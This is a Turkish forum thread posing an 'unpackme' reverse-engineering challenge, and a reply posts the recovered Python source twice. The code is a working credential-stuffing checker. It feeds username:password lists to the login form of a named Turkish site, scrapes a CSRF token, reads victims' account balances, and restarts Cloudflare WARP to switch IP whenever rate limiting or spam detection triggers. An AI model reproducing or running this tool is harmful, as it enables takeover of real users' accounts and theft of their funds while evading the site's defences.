Python unpackme ?/10 / Python

  • Konuyu Başlatan Konuyu Başlatan WASDW
  • Başlangıç tarihi Başlangıç tarihi

WASDW

Diamond Üye
Katılım
18 Eki 2025
Mesajlar
868
Beğeniler
195
Link =


VT Link =


py3.9 veya py3.12

Merak amaçlı açılan konudur
 
25zdrrb.png
 
pyarmor / nutika unpacked
not: %95 org



Kod:
import subprocess, time, requests, random, re, os

WARP_PATH = r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe"
ACCOUNTS_FILE = "acc.txt"

def disconnect_warp():
    subprocess.run(["taskkill", "/F", "/IM", "Cloudflare WARP.exe"],
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    print("WARP bağlantısı kesildi.")

def connect_warp():
    print("WARP yeniden başlatılıyor...")
    try:
        subprocess.Popen(WARP_PATH, shell=True)
        time.sleep(3)
        print("Yeni IP ile devam ediliyor.")
    except Exception as e:
        print("WARP başlatılamadı:", e)

def login_account(username, password):
    print(f"[->] Deneniyor → {username}")
    session = requests.Session()
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                             "AppleWebKit/537.36 (KHTML, like Gecko) "
                             "Chrome/120.0.0.0 Safari/537.36"}

    try:
        r = session.get("https://lapexnw.com.tr/login/", timeout=10)
        csrf = re.search(r'<meta name="csrf-token" content="([^"]+)">', r.text)
        if not csrf:
            print("] CSRF token bulunamadı!")
            return "csrf_fail"

        token = csrf.group(1)
        data = {
            "username": username,
            "password": password,
            "csrf_token": token
        }
        headers.update({
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": "https://lapexnw.com.tr/login/",
            "Origin": "https://lapexnw.com.tr"
        })
        r2 = session.post("https://lapexnw.com.tr/login/", data=data,
                          headers=headers, allow_redirects=True, timeout=10)
        html = r2.text.lower()

        if "spam tespit edildi" in html or "rate limit" in html:
            print("SPAM TESPİT EDİLDİ! → IP değiştiriliyor...")
            connect_warp()
            return "spam"

        if "2fa aktif" in html:
            print("2FA AKTİF → uygulamadan kodu girin.")
            return "2fa"

        if "yanlış şifre" in html:
            print("Yanlış şifre.")
            return "fail"

        if "bakiye" in html:
            m = re.search(r"Bakiye:\s*<[^>]*>\s*([\d.,]+)\s*₺", r2.text)
            bal = m.group(1) if m else "Bilinmiyor"
            print(f"BAŞARILI → {username} | Bakiye: {bal} ₺")
            return "success"

        if "hesap yok" in html or "username boş" in html:
            print("Hesap bulunamadı veya acc.txt hatalı!")
            return "fail"

        print("BELİRSİZ DURUM →", username)
        return "unknown"

    except requests.RequestException:
        print("BAĞLANTI HATASI → IP değiştiriliyor...")
        connect_warp()
        return "connection_error"

    except Exception as e:
        print("BEKLENMEYEN HATA →", str(e))
        return "exception"


def main():
    if not os.path.exists(WARP_PATH):
        print("UYARI: Cloudflare WARP bulunamadı! IP değişimi çalışmayabilir.")
        print(f"Yol: {WARP_PATH}")
        input("Devam etmek için ENTER'a bas...")

    if not os.path.exists(ACCOUNTS_FILE):
        print("acc.txt dosyası bulunamadı!")
        return

    with open(ACCOUNTS_FILE, "r", encoding="utf-8") as f:
        accounts = [x.strip().split(":") for x in f.readlines() if ":" in x]

    print(f"{len(accounts)} hesap yükleniyor... Cloudflare WARP ile IP değişimi aktif!\n")

    success_file = open("başarılı.txt", "a", encoding="utf-8")
    fail_file = open("başarısız.txt", "a", encoding="utf-8")
    tfa_file = open("2fa_hesaplar.txt", "a", encoding="utf-8")

    for idx, (user, pwd) in enumerate(accounts, 1):
        print(f"[{idx}/{len(accounts)}] Deneniyor → {user}")
        result = login_account(user, pwd)

        if result == "success":
            success_file.write(user + "\n")
        elif result == "2fa":
            tfa_file.write(user + "\n")
        else:
            fail_file.write(user + "\n")

    success_file.close()
    fail_file.close()
    tfa_file.close()

    print("\nTüm hesaplar kontrol edildi!")
    print("başarılı.txt → Çalışan hesaplar")
    print("2fa_hesaplar.txt → 2FA olanlar")
    print("başarısız.txt → Çalışmayanlar")


if __name__ == "__main__":
    main()
 
pyarmor / nutika unpacked
not: %95 org



Kod:
import subprocess, time, requests, random, re, os

WARP_PATH = r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe"
ACCOUNTS_FILE = "acc.txt"

def disconnect_warp():
    subprocess.run(["taskkill", "/F", "/IM", "Cloudflare WARP.exe"],
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    print("WARP bağlantısı kesildi.")

def connect_warp():
    print("WARP yeniden başlatılıyor...")
    try:
        subprocess.Popen(WARP_PATH, shell=True)
        time.sleep(3)
        print("Yeni IP ile devam ediliyor.")
    except Exception as e:
        print("WARP başlatılamadı:", e)

def login_account(username, password):
    print(f"[->] Deneniyor → {username}")
    session = requests.Session()
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                             "AppleWebKit/537.36 (KHTML, like Gecko) "
                             "Chrome/120.0.0.0 Safari/537.36"}

    try:
        r = session.get("https://lapexnw.com.tr/login/", timeout=10)
        csrf = re.search(r'<meta name="csrf-token" content="([^"]+)">', r.text)
        if not csrf:
            print("] CSRF token bulunamadı!")
            return "csrf_fail"

        token = csrf.group(1)
        data = {
            "username": username,
            "password": password,
            "csrf_token": token
        }
        headers.update({
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": "https://lapexnw.com.tr/login/",
            "Origin": "https://lapexnw.com.tr"
        })
        r2 = session.post("https://lapexnw.com.tr/login/", data=data,
                          headers=headers, allow_redirects=True, timeout=10)
        html = r2.text.lower()

        if "spam tespit edildi" in html or "rate limit" in html:
            print("SPAM TESPİT EDİLDİ! → IP değiştiriliyor...")
            connect_warp()
            return "spam"

        if "2fa aktif" in html:
            print("2FA AKTİF → uygulamadan kodu girin.")
            return "2fa"

        if "yanlış şifre" in html:
            print("Yanlış şifre.")
            return "fail"

        if "bakiye" in html:
            m = re.search(r"Bakiye:\s*<[^>]*>\s*([\d.,]+)\s*₺", r2.text)
            bal = m.group(1) if m else "Bilinmiyor"
            print(f"BAŞARILI → {username} | Bakiye: {bal} ₺")
            return "success"

        if "hesap yok" in html or "username boş" in html:
            print("Hesap bulunamadı veya acc.txt hatalı!")
            return "fail"

        print("BELİRSİZ DURUM →", username)
        return "unknown"

    except requests.RequestException:
        print("BAĞLANTI HATASI → IP değiştiriliyor...")
        connect_warp()
        return "connection_error"

    except Exception as e:
        print("BEKLENMEYEN HATA →", str(e))
        return "exception"


def main():
    if not os.path.exists(WARP_PATH):
        print("UYARI: Cloudflare WARP bulunamadı! IP değişimi çalışmayabilir.")
        print(f"Yol: {WARP_PATH}")
        input("Devam etmek için ENTER'a bas...")

    if not os.path.exists(ACCOUNTS_FILE):
        print("acc.txt dosyası bulunamadı!")
        return

    with open(ACCOUNTS_FILE, "r", encoding="utf-8") as f:
        accounts = [x.strip().split(":") for x in f.readlines() if ":" in x]

    print(f"{len(accounts)} hesap yükleniyor... Cloudflare WARP ile IP değişimi aktif!\n")

    success_file = open("başarılı.txt", "a", encoding="utf-8")
    fail_file = open("başarısız.txt", "a", encoding="utf-8")
    tfa_file = open("2fa_hesaplar.txt", "a", encoding="utf-8")

    for idx, (user, pwd) in enumerate(accounts, 1):
        print(f"[{idx}/{len(accounts)}] Deneniyor → {user}")
        result = login_account(user, pwd)

        if result == "success":
            success_file.write(user + "\n")
        elif result == "2fa":
            tfa_file.write(user + "\n")
        else:
            fail_file.write(user + "\n")

    success_file.close()
    fail_file.close()
    tfa_file.close()

    print("\nTüm hesaplar kontrol edildi!")
    print("başarılı.txt → Çalışan hesaplar")
    print("2fa_hesaplar.txt → 2FA olanlar")
    print("başarısız.txt → Çalışmayanlar")


if __name__ == "__main__":
    main()
eline sağlık baktığın için teşşekkürler
 
Son düzenleme:

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt